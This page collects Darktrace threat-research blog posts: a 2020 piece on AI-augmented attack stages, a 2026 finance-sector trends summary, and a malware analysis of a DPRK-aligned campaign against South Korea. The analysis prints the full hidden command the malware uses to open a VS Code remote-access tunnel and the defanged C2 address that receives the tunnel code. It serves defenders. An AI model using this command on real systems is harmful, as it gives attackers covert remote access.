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April 26, 2020

How Cyber-Criminals Leverage AI in Attacks

Cyber attacks are relentless and ever-evolving. Learn how cyber-criminals are using AI to augment their attacks at every stage of the kill chain.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Max Heinemeyer
Global Field CISO
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26
Apr 2020

Overview

The mind of an experienced and dedicated cyber-criminal works like that of an entrepreneur: the relentless pursuit of profit guides every move they make. At each step of the journey towards their objective, the same questions are asked: how can I minimize my time and resources? How can I mitigate against risk? What measures can I take which will return the best results?

Incorporating this ‘enterprise’ model into the cyber-criminal framework uncovers why attackers are turning to new technology in an attempt to maximize efficiency, and why a report from Forrester earlier this year revealed that 88% of security leaders now consider the nefarious use of AI in cyber activity to be inevitable. Over half of the responders to that same survey foresee AI attacks manifesting themselves to the public in the next twelve months – or think they are already occurring.

AI has already achieved breakthroughs in fields such as healthcare, facial recognition, voice assistance and many others. In the current cat-and-mouse game of cyber security, defenders have started to accept that augmenting their defenses with AI is necessary, with over 3,500 organizations using machine learning to protect their digital environments. But we have to be ready for the moment attackers themselves use open-source AI technology available today to supercharge their attacks.

Enhancing the attack life cycle

To a cyber-criminal ring, the benefits of leveraging AI in their attacks are at least four-fold:

  • It gives them an understanding of context
  • It helps to scale up operations
  • It makes attribution and detection harder
  • It ultimately increases their profitability

To best demonstrate how each of these factors surface themselves, we can break down the life cycle of a typical data exfiltration attempt, telling the story of how AI can augment the attacker during the campaign at every stage of the attack.

ReconnaissanceCAPTCHA breakerIntrusionShellphish and SNAP_RC2 establishmentFirstOrder and unsupervised clustering algorithmPrivilege escalationCeWL and neural networkLateral movementMITRE CALDERAMission accomplishedYahoo NSFW

Figure 1: The ‘AI toolbox’ attackers use to augment their attacks

Stage 1: Reconnaissance

In seeking to garner trust and make inroads into an organization, automated chatbots would first interact with employees via social media, leveraging profile pictures of non-existent people created by AI instead of re-using actual human photos. Once the chatbots have gained the trust of the victims at the target organization, the human attackers can gain valuable intelligence about its employees, while CAPTCHA-breakers are used for automated reconnaissance on the organization’s public-facing web pages.

Forrester estimates that AI-enabled ‘deep fakes’ will cost businesses a quarter of a billion dollars in losses in 2020.

Stage 2: Intrusion

This intelligence would then be used to craft convincing spear phishing attacks, whilst an adapted version of SNAP_R can be leveraged to create realistic tweets at scale – targeting several key employees. The tweets either trick the user into downloading malicious documents, or contain links to servers which facilitate exploit-kit attacks.

An autonomous vulnerability fuzzing engine based on Shellphish would be constantly crawling the victim’s perimeter – internet-facing servers and websites – and trying to find new vulnerabilities for an initial foothold.

Stage 3: Command and control

A popular hacking framework, Empire, allows attackers to ‘blend in’ with regular business operations, restricting command and control traffic to periods of peak activity. An agent using some form of automated decision-making engine for lateral movement might not even require command and control traffic to move laterally. Eliminating the need for command and control traffic drastically reduces the detection surface of existing malware.

Stage 4: Privilege escalation

At this stage, a password crawler like CeWL could collect target-specific keywords from internal websites and feed those keywords into a pre-trained neural network, essentially creating hundreds of realistic permutations of contextualized passwords at machine-speed. These can be automatically entered in period bursts so as to not alert the security team or trigger resets.

Stage 5: Lateral movement

Moving laterally and harvesting accounts and credentials involves identifying the optimal paths to accomplish the mission and minimize intrusion time. Parts of the attack planning can be accelerated by concepts such as from the CALDERA framework using automated planning AI methods. This would greatly reduce the time required to reach the final destination.

Stage 6: Data exfiltration

It is in this final stage where the role of offensive AI is most apparent. Instead of running a costly post-intrusion analysis operation and sifting through gigabytes of data, the attackers can leverage a neural network that pre-selects only relevant material for exfiltration. This neural network is pre-trained and therefore has a basic understanding of what valuable material constitutes and flags those for immediate exfiltration. The neural network could be based on something like Yahoo’s open-source project for content recognition.

Conclusion

Today’s attacks still require several humans behind the keyboard making guesses about the sorts of methods that will be most effective in their target network – it’s this human element that often allows defenders to neutralize attacks.

Offensive AI will make detecting and responding to attacks far more difficult. Open-source research and projects exist today which can be leveraged to augment every phase of the attack lifecycle. This means that the speed, scale, and contextualization of attacks will exponentially increase. Traditional security controls are already struggling to detect attacks that have never been seen before in the wild – be it malware without known signatures, new command and control domains, or individualized spear phishing emails. There is no chance that traditional tools will be able to cope with future attacks as this becomes the norm and easier to realize than ever before.

To stay ahead of this next wave of attacks, AI is becoming a necessary part of the defender’s stack, as no matter how well-trained or how well-staffed, humans alone will no longer be able to keep up. Hundreds of organizations are already using Autonomous Response to fight back against new strains of ransomware, insider threats, previously unknown techniques, tools and procedures, and many other threats. Cyber AI technology allows human responders to take stock and strategize from behind the front line. A new age in cyber defense is just beginning, and the effect of AI on this battleground is already proving fundamental.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Max Heinemeyer
Global Field CISO

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January 28, 2026

The State of Cybersecurity in the Finance Sector: Six Trends to Watch

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The evolving cybersecurity threat landscape in finance

The financial sector, encompassing commercial banks, credit unions, financial services providers, and cryptocurrency platforms, faces an increasingly complex and aggressive cyber threat landscape. The financial sector’s reliance on digital infrastructure and its role in managing high-value transactions make it a prime target for both financially motivated and state-sponsored threat actors.

Darktrace’s latest threat research, The State of Cybersecurity in the Finance Sector, draws on a combination of Darktrace telemetry data from real-world customer environments, open-source intelligence, and direct interviews with financial-sector CISOs to provide perspective on how attacks are unfolding and how defenders in the sector need to adapt.  

Six cybersecurity trends in the finance sector for 2026

1. Credential-driven attacks are surging

Phishing continues to be a leading initial access vector for attacks targeting confidentiality. Financial institutions are frequently targeted with phishing emails designed to harvest login credentials. Techniques including Adversary-in-The-Middle (AiTM) to bypass Multi-factor Authentication (MFA) and QR code phishing (“quishing”) are surging and are capable of fooling even trained users. In the first half of 2025, Darktrace observed 2.4 million phishing emails within financial sector customer deployments, with almost 30% targeted towards VIP users.  

2. Data Loss Prevention is an increasing challenge

Compliance issues – particularly data loss prevention -- remain a persistent risk. In October 2025 alone, Darktrace observed over 214,000 emails across financial sector customers that contained unfamiliar attachments and were sent to suspected personal email addresses highlighting clear concerns around data loss prevention. Across the same set of customers within the same time frame, more than 351,000 emails containing unfamiliar attachments were sent to freemail addresses (e.g. gmail, yahoo, icloud), highlighting clear concerns around DLP.  

Confidentiality remains a primary concern for financial institutions as attackers increasingly target sensitive customer data, financial records, and internal communications.  

3. Ransomware is evolving toward data theft and extortion

Ransomware is no longer just about locking systems, it’s about stealing data first and encrypting second. Groups such as Cl0p and RansomHub now prioritize exploiting trusted file-transfer platforms to exfiltrate sensitive data before encryption, maximizing regulatory and reputational fallout for victims.  

Darktrace’s threat research identified routine scanning and malicious activity targeting internet-facing file-transfer systems used heavily by financial institutions. In one notable case involving Fortra GoAnywhere MFT, Darktrace detected malicious exploitation behavior six days before the CVE was publicly disclosed, demonstrating how attackers often operate ahead of patch cycles

This evolution underscores a critical reality: by the time a vulnerability is disclosed publicly, it may already be actively exploited.

4. Attackers are exploiting edge devices, often pre-disclosure.  

VPNs, firewalls, and remote access gateways have become high-value targets, and attackers are increasingly exploiting them before vulnerabilities are publicly disclosed. Darktrace observed pre-CVE exploitation activity affecting edge technologies including Citrix, Palo Alto, and Ivanti, enabling session hijacking, credential harvesting, and privileged lateral movement into core banking systems.  

Once compromised, these edge devices allow adversaries to blend into trusted network traffic, bypassing traditional perimeter defenses. CISOs interviewed for the report repeatedly described VPN infrastructure as a “concentrated focal point” for attackers, especially when patching and segmentation lag behind operational demands.

5. DPRK-linked activity is growing across crypto and fintech.  

State-sponsored activity, particularly from DPRK-linked groups affiliated with Lazarus, continues to intensify across cryptocurrency and fintech organizations. Darktrace identified coordinated campaigns leveraging malicious npm packages, previously undocumented BeaverTail and InvisibleFerret malware, and exploitation of React2Shell (CVE-2025-55182) for credential theft and persistent backdoor access.  

Targeting was observed across the United Kingdom, Spain, Portugal, Sweden, Chile, Nigeria, Kenya, and Qatar, highlighting the global scope of these operations.  

7. Cloud complexity and AI governance gaps are now systemic risks.  

Finally, CISOs consistently pointed to cloud complexity, insider risk from new hires, and ungoverned AI usage exposing sensitive data as systemic challenges. Leaders emphasized difficulty maintaining visibility across multi-cloud environments while managing sensitive data exposure through emerging AI tools.  

Rapid AI adoption without clear guardrails has introduced new confidentiality and compliance risks, turning governance into a board-level concern rather than a purely technical one.

Building cyber resilience in a shifting threat landscape

The financial sector remains a prime target for both financially motivated and state-sponsored adversaries. What this research makes clear is that yesterday’s security assumptions no longer hold. Identity attacks, pre-disclosure exploitation, and data-first ransomware require adaptive, behavior-based defenses that can detect threats as they emerge, often ahead of public disclosure.

As financial institutions continue to digitize, resilience will depend on visibility across identity, edge, cloud, and data, combined with AI-driven defense that learns at machine speed.  

Learn more about the threats facing the finance sector, and what your organization can do to keep up in The State of Cybersecurity in the Finance Sector report here.  

Acknowledgements:

The State of Cybersecurity in the Finance sector report was authored by Calum Hall, Hugh Turnbull, Parvatha Ananthakannan, Tiana Kelly, and Vivek Rajan, with contributions from Emma Foulger, Nicole Wong, Ryan Traill, Tara Gould, and the Darktrace Threat Research and Incident Management teams.

[related-resource]  

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Nathaniel Jones
VP, Security & AI Strategy, Field CISO

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January 23, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

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Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

Base64 encoded blob.
Figure 2: Base64 encoded blob.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VSCode Tunnel setup.
Figure 3: VSCode Tunnel setup.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

 Contents of out.txt.
Figure 4: Contents of out.txt.

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

GitHub screenshot after connection is authorized.
Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to hxxps://www[.]yespp[.]co[.]kr/common/include/code/out[.]php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

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